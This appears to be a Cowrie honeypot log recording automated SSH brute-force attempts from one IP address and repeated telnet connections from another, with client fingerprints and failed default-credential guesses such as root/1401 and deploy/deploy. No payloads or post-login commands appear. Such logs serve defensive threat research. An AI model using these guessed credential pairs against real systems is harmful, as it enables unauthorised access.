{"eventid":"cowrie.login.failed","username":"odoo","password":"P@ssw0rd","message":"login attempt [odoo/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:52.412073Z","src_ip":"45.156.87.69","session":"14aa2bfe5ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43040,"dst_ip":"10.17.0.5","dst_port":23,"session":"867ffe79fbbd","protocol":"telnet","message":"New connection: 152.42.224.71:43040 (10.17.0.5:23) [session: 867ffe79fbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:53.048840Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:53.496097Z","src_ip":"45.156.87.69","session":"14aa2bfe5ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60826,"dst_ip":"159.203.135.109","dst_port":22,"session":"b36c90d00d79","protocol":"ssh","message":"New connection: 45.156.87.69:60826 (159.203.135.109:22) [session: b36c90d00d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:55.421560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:55.427036Z","src_ip":"45.156.87.69","session":"b36c90d00d79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:55.604228Z","src_ip":"45.156.87.69","session":"b36c90d00d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1401","message":"login attempt [root/1401] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:56.148801Z","src_ip":"45.156.87.69","session":"b36c90d00d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:57.232641Z","src_ip":"45.156.87.69","session":"b36c90d00d79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":13044,"dst_ip":"159.203.135.109","dst_port":22,"session":"490e68b33212","protocol":"ssh","message":"New connection: 45.156.87.69:13044 (159.203.135.109:22) [session: 490e68b33212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:58.856794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:58.864058Z","src_ip":"45.156.87.69","session":"490e68b33212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:58.966781Z","src_ip":"45.156.87.69","session":"490e68b33212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:59.659072Z","src_ip":"45.156.87.69","session":"490e68b33212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:00.744916Z","src_ip":"45.156.87.69","session":"490e68b33212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32984,"dst_ip":"10.17.0.5","dst_port":23,"session":"36479e98a288","protocol":"telnet","message":"New connection: 152.42.224.71:32984 (10.17.0.5:23) [session: 36479e98a288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:01.281665Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":13050,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1ef6c4b6c50","protocol":"ssh","message":"New connection: 45.156.87.69:13050 (159.203.135.109:22) [session: e1ef6c4b6c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:02.410923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:02.434837Z","src_ip":"45.156.87.69","session":"e1ef6c4b6c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:02.562843Z","src_ip":"45.156.87.69","session":"e1ef6c4b6c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:03.195515Z","src_ip":"45.156.87.69","session":"e1ef6c4b6c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.77264714241028,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:03.366311Z","src_ip":"152.42.224.71","session":"3f1196b6cf02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:04.475299Z","src_ip":"45.156.87.69","session":"e1ef6c4b6c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.0249879360199,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:06.100510Z","src_ip":"152.42.224.71","session":"d0f8de32a38d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":59724,"dst_ip":"159.203.135.109","dst_port":22,"session":"355f39a66407","protocol":"ssh","message":"New connection: 45.156.87.69:59724 (159.203.135.109:22) [session: 355f39a66407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:06.187207Z"}
{"eventid":"cowrie.session.closed","duration":113.27413702011108,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:06.197248Z","src_ip":"152.42.224.71","session":"607b7802d2f2","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:06.267392Z","src_ip":"45.156.87.69","session":"355f39a66407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:06.310354Z","src_ip":"45.156.87.69","session":"355f39a66407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"jira","message":"login attempt [jira/jira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:06.950418Z","src_ip":"45.156.87.69","session":"355f39a66407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:08.073420Z","src_ip":"45.156.87.69","session":"355f39a66407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":59726,"dst_ip":"159.203.135.109","dst_port":22,"session":"a24559705faf","protocol":"ssh","message":"New connection: 45.156.87.69:59726 (159.203.135.109:22) [session: a24559705faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:09.656579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:09.808987Z","src_ip":"45.156.87.69","session":"a24559705faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:09.813489Z","src_ip":"45.156.87.69","session":"a24559705faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dstserver","password":"dstserver","message":"login attempt [dstserver/dstserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:10.766768Z","src_ip":"45.156.87.69","session":"a24559705faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.797038078308105,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:11.151872Z","src_ip":"152.42.224.71","session":"d2482d80e252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50540,"dst_ip":"10.17.0.5","dst_port":23,"session":"09add221ab36","protocol":"telnet","message":"New connection: 152.42.224.71:50540 (10.17.0.5:23) [session: 09add221ab36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:11.177455Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:11.859475Z","src_ip":"45.156.87.69","session":"a24559705faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":59740,"dst_ip":"159.203.135.109","dst_port":22,"session":"414bf70a5602","protocol":"ssh","message":"New connection: 45.156.87.69:59740 (159.203.135.109:22) [session: 414bf70a5602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:13.659365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:13.712985Z","src_ip":"45.156.87.69","session":"414bf70a5602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:13.816673Z","src_ip":"45.156.87.69","session":"414bf70a5602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"P@ssw0rd","message":"login attempt [cacti/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:14.516944Z","src_ip":"45.156.87.69","session":"414bf70a5602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:15.663638Z","src_ip":"45.156.87.69","session":"414bf70a5602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.928622007369995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:17.297181Z","src_ip":"152.42.224.71","session":"c300f9f252dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.854506969451904,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:17.304673Z","src_ip":"152.42.224.71","session":"f772b9eae929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42646,"dst_ip":"159.203.135.109","dst_port":22,"session":"238b2bff28e8","protocol":"ssh","message":"New connection: 45.156.87.69:42646 (159.203.135.109:22) [session: 238b2bff28e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:17.431603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:17.436934Z","src_ip":"45.156.87.69","session":"238b2bff28e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:17.523235Z","src_ip":"45.156.87.69","session":"238b2bff28e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"123456","message":"login attempt [customer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:17.876201Z","src_ip":"45.156.87.69","session":"238b2bff28e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:18.971662Z","src_ip":"45.156.87.69","session":"238b2bff28e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00210332870483,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:20.372570Z","src_ip":"152.42.224.71","session":"88b39911890f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42652,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b14bbfb5f76","protocol":"ssh","message":"New connection: 45.156.87.69:42652 (159.203.135.109:22) [session: 2b14bbfb5f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:20.969800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:20.974833Z","src_ip":"45.156.87.69","session":"2b14bbfb5f76","protocol":"ssh"}
